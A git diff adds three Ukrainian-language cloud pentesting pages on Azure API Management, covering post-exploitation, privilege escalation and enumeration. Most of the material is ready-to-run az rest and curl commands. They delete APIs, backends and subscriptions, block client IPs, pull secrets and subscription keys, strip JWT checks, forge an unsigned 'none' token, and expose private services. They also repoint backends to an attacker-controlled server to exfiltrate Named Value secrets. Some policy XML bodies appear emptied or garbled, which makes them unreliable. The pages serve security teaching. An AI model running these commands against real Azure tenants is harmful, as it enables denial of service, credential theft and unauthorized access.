diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-api-management-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-api-management-post-exploitation.md new file mode 100644 index 000000000..d7f7e1245 --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-api-management-post-exploitation.md @@ -0,0 +1,75 @@ +# Azure - API Management Post-Exploitation + +{{#include ../../../banners/hacktricks-training.md}} + +## `Microsoft.ApiManagement/service/apis/policies/write` or `Microsoft.ApiManagement/service/policies/write` +Attacker може використовувати кілька векторів, щоб спричинити denial of service. Щоб блокувати legitimate traffic, attacker додає rate-limiting і quota policies з надзвичайно низькими значеннями, фактично перешкоджаючи нормальному доступу: +```bash +az rest --method PUT \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//apis//policies/policy?api-version=2024-05-01" \ +--headers "Content-Type=application/json" \ +--body '{ +"properties": { +"format": "rawxml", +"value": "" +} +}' +``` +Щоб заблокувати конкретні легітимні IP-адреси клієнтів, зловмисник може додати політики фільтрації IP, які відхиляють запити з обраних адрес: +```bash +az rest --method PUT \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//apis//policies/policy?api-version=2024-05-01" \ +--headers "Content-Type=application/json" \ +--body '{ +"properties": { +"format": "rawxml", +"value": "
1.2.3.4
1.2.3.5
" +} +}' +``` +## `Microsoft.ApiManagement/service/backends/write` or `Microsoft.ApiManagement/service/backends/delete` +Щоб спричинити відмову запитів, атакуючий може змінити конфігурацію backend, замінивши її URL на недійсну або недосяжну адресу: +```bash +az rest --method PUT \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//backends/?api-version=2024-05-01" \ +--headers "Content-Type=application/json" "If-Match=*" \ +--body '{ +"properties": { +"url": "https://invalid-backend-that-does-not-exist.com", +"protocol": "http" +} +}' +``` +Або видалити бекенди: +```bash +az rest --method DELETE \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//backends/?api-version=2024-05-01" \ +--headers "If-Match=*" +``` +## `Microsoft.ApiManagement/service/apis/delete` +Щоб зробити критичні API недоступними, зловмисник може видалити їх безпосередньо з API Management service: +```bash +az rest --method DELETE \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//apis/?api-version=2024-05-01" \ +--headers "If-Match=*" +``` +## `Microsoft.ApiManagement/service/write` or `Microsoft.ApiManagement/service/applynetworkconfigurationupdates/action` +Щоб заблокувати доступ з Інтернету, зловмисник може вимкнути публічний доступ до мережі для API Management service: +```bash +az rest --method PATCH \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service/?api-version=2024-05-01" \ +--headers "Content-Type=application/json" \ +--body '{ +"properties": { +"publicNetworkAccess": "Disabled" +} +}' +``` +## `Microsoft.ApiManagement/service/subscriptions/delete` +Щоб заблокувати доступ легітимних користувачів, зловмисник може видалити підписки API Management: +```bash +az rest --method DELETE \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//subscriptions/?api-version=2024-05-01" \ +--headers "If-Match=*" +``` +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-api-management-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-api-management-privesc.md new file mode 100644 index 000000000..f1aa43743 --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-api-management-privesc.md @@ -0,0 +1,170 @@ +# Az - API Management Privesc + +{{#include ../../../banners/hacktricks-training.md}} + +## `Microsoft.ApiManagement/service/namedValues/read` & `Microsoft.ApiManagement/service/namedValues/listValue/action` + +Атака полягає у доступі до конфіденційних секретів, збережених у Azure API Management Named Values — або шляхом безпосереднього отримання значень секретів, або зловживання дозволами для отримання Key Vault–backed secrets через managed identities. +```bash +az apim nv show-secret --resource-group --service-name --named-value-id +``` +## `Microsoft.ApiManagement/service/subscriptions/read` & `Microsoft.ApiManagement/service/subscriptions/listSecrets/action` +Для кожної підписки атакуючий може отримати ключі підписки, використовуючи endpoint listSecrets з методом POST: +```bash +az rest --method POST \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//subscriptions//listSecrets?api-version=2024-05-01" +``` +У відповіді містяться первинний ключ підписки (primaryKey) та вторинний ключ (secondaryKey). З цими ключами зловмисник може автентифікуватися та отримати доступ до API, опублікованих через API Management Gateway: +```bash +curl -H "Ocp-Apim-Subscription-Key: " \ +https://.azure-api.net/ +``` +Зловмисник може отримати доступ до всіх API та продуктів, пов'язаних із підпискою. Якщо підписка має доступ до конфіденційних продуктів або API, зловмисник може отримати конфіденційну інформацію або виконати несанкціоновані операції. + +## `Microsoft.ApiManagement/service/policies/write` або `Microsoft.ApiManagement/service/apis/policies/write` + +Зловмисник спочатку отримує поточну політику API: +```bash +az rest --method GET \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//apis//policies/?api-version=2024-05-01&format=rawxml" +``` +Атакувальник може змінити політику різними способами залежно від своїх цілей. Наприклад, щоб вимкнути автентифікацію, якщо політика містить JWT token validation, атакувальник може видалити або закоментувати цей розділ: +```xml + + + + + + + + + + + + + + + + +``` +Щоб вимкнути контролі rate limiting та дозволити атаки denial-of-service, зловмисник може видалити або закоментувати політики quota та rate-limit: +```xml + + + + + + +... + +``` +Щоб змінити backend route і перенаправити трафік на attacker-controlled server: +```xml + +... + + + + +... + +``` +Зловмисник потім застосовує змінену політику. Тіло запиту має бути JSON-об'єктом, що містить політику у форматі XML: +```bash +az rest --method PUT \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//apis//policies/policy?api-version=2024-05-01" \ +--headers "Content-Type=application/json" \ +--body '{ +"properties": { +"format": "rawxml", +"value": "" +} +}' +``` +## JWT Validation Misconfiguration + +Атакуючому потрібно знати, що API використовує перевірку JWT токенів і що політика налаштована неправильно. Неправильно налаштовані політики валідації JWT можуть містити `require-signed-tokens="false"` або `require-expiration-time="false"`, що дозволяє сервісу приймати непідписані токени або токени, що ніколи не закінчуються. + +Атакуючий створює шкідливий JWT токен, використовуючи алгоритм none (непідписаний): +``` +# Header: {"alg":"none"} +# Payload: {"sub":"user"} +eyJhbGciOiJub25lIn0.eyJzdWIiOiJ1c2VyIn0. +``` +attacker надсилає запит до API, використовуючи malicious token: +```bash +curl -X GET \ +-H "Authorization: Bearer eyJhbGciOiJub25lIn0.eyJzdWIiOiJ1c2VyIn0." \ +https://.azure-api.net/path +``` +Якщо політика неправильно налаштована з `require-signed-tokens="false"`, сервіс прийматиме непідписаний токен. Атакувальник також може створити токен без заяви про термін дії, якщо `require-expiration-time="false"`. + +## `Microsoft.ApiManagement/service/applynetworkconfigurationupdates/action` +Атакувальник спочатку перевіряє поточну мережеву конфігурацію сервісу: +```bash +az rest --method GET \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service/?api-version=2024-05-01" +``` +Атакувальник переглядає JSON-відповідь, щоб перевірити значення `publicNetworkAccess` та `virtualNetworkType`. Якщо `publicNetworkAccess` встановлено в false або `virtualNetworkType` встановлено в Internal, сервіс налаштований на приватний доступ. + +Щоб відкрити сервіс в Інтернеті, атакувальник має змінити обидва параметри. Якщо сервіс працює в internal-режимі (`virtualNetworkType: "Internal"`), атакувальник змінює його на None або External і вмикає public network access. Це можна зробити за допомогою Azure Management API: +```bash +az rest --method PATCH \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service/?api-version=2024-05-01" \ +--headers "Content-Type=application/json" \ +--body '{ +"properties": { +"publicNetworkAccess": "Enabled", +"virtualNetworkType": "None" +} +}' +``` +Після того як `virtualNetworkType` встановлено в `None` або `External`, а `publicNetworkAccess` увімкнено, сервіс та всі його API стають доступними з Інтернету, навіть якщо раніше вони були захищені приватною мережею або приватними кінцевими точками. + +## `Microsoft.ApiManagement/service/backends/write` +Зловмисник спочатку перелічує наявні backends, щоб визначити, який із них змінити: +```bash +az rest --method GET \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//backends?api-version=2024-05-01" +``` +Атакувальник отримує поточну конфігурацію того backend, який хоче змінити: +```bash +az rest --method GET \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//backends/?api-version=2024-05-01" +``` +Зловмисник змінює backend URL так, щоб він вказував на сервер під їхнім контролем. Спочатку вони отримують ETag із попередньої відповіді, а потім оновлюють backend: +```bash +az rest --method PUT \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//backends/?api-version=2024-05-01" \ +--headers "Content-Type=application/json" "If-Match=*" \ +--body '{ +"properties": { +"url": "https://attacker-controlled-server.com", +"protocol": "http", +"description": "Backend modified by attacker" +} +}' +``` +Як альтернативу, атакуючий може налаштувати backend headers, щоб exfiltrate Named Values, які містять секрети. Це робиться через backend credentials configuration: +```bash +az rest --method PUT \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//backends/?api-version=2024-05-01" \ +--headers "Content-Type=application/json" "If-Match=*" \ +--body '{ +"properties": { +"url": "https://attacker-controlled-server.com", +"protocol": "http", +"credentials": { +"header": { +"X-Secret-Value": ["{{named-value-secret}}"] +} +} +} +}' +``` +За цією конфігурацією Named Values надсилаються як заголовки в усіх запитах до бекенду, контрольованого атакуючим, що дозволяє ексфільтрацію конфіденційних секретів. + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-services/az-api-management.md b/src/pentesting-cloud/azure-security/az-services/az-api-management.md new file mode 100644 index 000000000..51af7dc05 --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-services/az-api-management.md @@ -0,0 +1,74 @@ +# Az - API Management + +{{#include ../../../banners/hacktricks-training.md}} + +## Основна інформація + +Azure API Management (APIM) — це повністю керований сервіс, який пропонує **уніфіковану платформу для публікації, захисту, трансформації, управління та моніторингу APIs**. Він дозволяє організаціям **централізувати свою API** стратегію та забезпечувати послідовне управління, продуктивність і безпеку для всіх їхніх сервісів. Діючи як шар абстракції між бекенд-сервісами та споживачами API, APIM спрощує інтеграцію та підвищує підтримуваність, забезпечуючи при цьому необхідні оперативні та безпекові можливості. + +## Основні концепції + +**The API Gateway** слугує єдиною точкою входу для всього API-трафіку, виконуючи такі функції, як маршрутизація запитів до бекенд-сервісів, застосування обмежень швидкості (rate limits), кешування відповідей та керування аутентифікацією й авторизацією. Цей gateway повністю хоститься та керується Azure, що гарантує високу доступність і масштабованість. + +**The Developer Portal** надає середовище самообслуговування, де споживачі API можуть знаходити доступні API, читати документацію та тестувати кінцеві точки. Це спрощує процес онбордингу, надаючи інтерактивні інструменти та доступ до інформації про підписки. + +**The Management Portal (Management Plane)** використовується адміністраторами для конфігурації та підтримки сервісу APIM. Звідси користувачі можуть визначати APIs і операції, налаштовувати контроль доступу, застосовувати політики, керувати користувачами та організовувати APIs у продукти. Цей портал централізує адміністрування та забезпечує послідовне управління API. + +## Аутентифікація та авторизація + +Azure API Management підтримує кілька механізмів **authentication**, щоб захистити доступ до API. До них відносяться **subscription keys**, **OAuth 2.0 tokens** і **client certificates**. APIM також нативно інтегрується з **Microsoft Entra ID**, що дозволяє забезпечити **enterprise-level identity management** та **secure access** як до APIs, так і до бекенд-сервісів. + +## Політики + +Політики в APIM дозволяють адміністраторам налаштовувати **обробку запитів і відповідей** на різних рівнях деталізації, включно з рівнями **service**, **API**, **operation** або **product**. За допомогою політик можна здійснювати **JWT token validation**, трансформувати XML або JSON payloads, застосовувати rate limiting, обмежувати виклики за IP-адресою або аутентифікуватися проти бекенду, використовуючи managed identities. Політики є **дуже гнучкими** і формують одну з **ключових сильних сторін** платформи API Management, дозволяючи **тонко керувати поведінкою під час виконання** без змін у бекенд-коді. + +## Named Values + +Сервіс надає механізм під назвою **Named Values**, який дозволяє зберігати **конфігураційну інформацію**, таку як **секрети**, **API keys** або інші значення, необхідні для політик. + +Ці значення можна зберігати безпосередньо в APIM або безпечно посилатися на них через **Azure Key Vault**. Named Values сприяють **безпечному та централізованому управлінню** конфігураційними даними та спрощують написання політик, дозволяючи використовувати **повторно вживані посилання** замість захардкожених значень. + +## Мережеві інтеграції та безпека + +Azure API Management безшовно інтегрується з **virtual network environments**, що дозволяє забезпечити **приватне та безпечне підключення** до бекенд-систем. + +Коли APIM розгорнуто всередині **Virtual Network (VNet)**, він може отримувати доступ до **внутрішніх сервісів** без їхнього публічного виставлення. Сервіс також дозволяє налаштовувати **custom certificates** для підтримки **mutual TLS authentication** з бекенд-сервісами, що підвищує безпеку в сценаріях, де потрібна **сильна валідація ідентичності**. + +Ці **мережеві можливості** роблять APIM придатним як для **cloud-native**, так і для **hybrid architectures**. + +### Перерахування + +Щоб перерахувати сервіс API Management: +```bash +# Lists all Named Values configured in the Azure API Management instance +az apim nv list --resource-group --service-name + +# Retrieves all policies applied at the API level in raw XML format +az rest --method GET \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//apis//policies/?api-version=2024-05-01&format=rawxml" + +# Retrieves the effective policy for a specific API in raw XML format +az rest --method GET \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//apis//policies/policy?api-version=2024-05-01&format=rawxml" + +# Gets the configuration details of the APIM service instance +az rest --method GET \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service/?api-version=2024-05-01" + +# Lists all backend services registered in the APIM instance +az rest --method GET \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//backends?api-version=2024-05-01" + +# Retrieves details of a specific backend service +az rest --method GET \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//backends/?api-version=2024-05-01" + +# Gets general information about the APIM service +az rest --method GET \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service/?api-version=2024-05-01" + +# Calls an exposed API endpoint through the APIM gateway +curl https://.azure-api.net/ + +``` +{{#include ../../../banners/hacktricks-training.md}}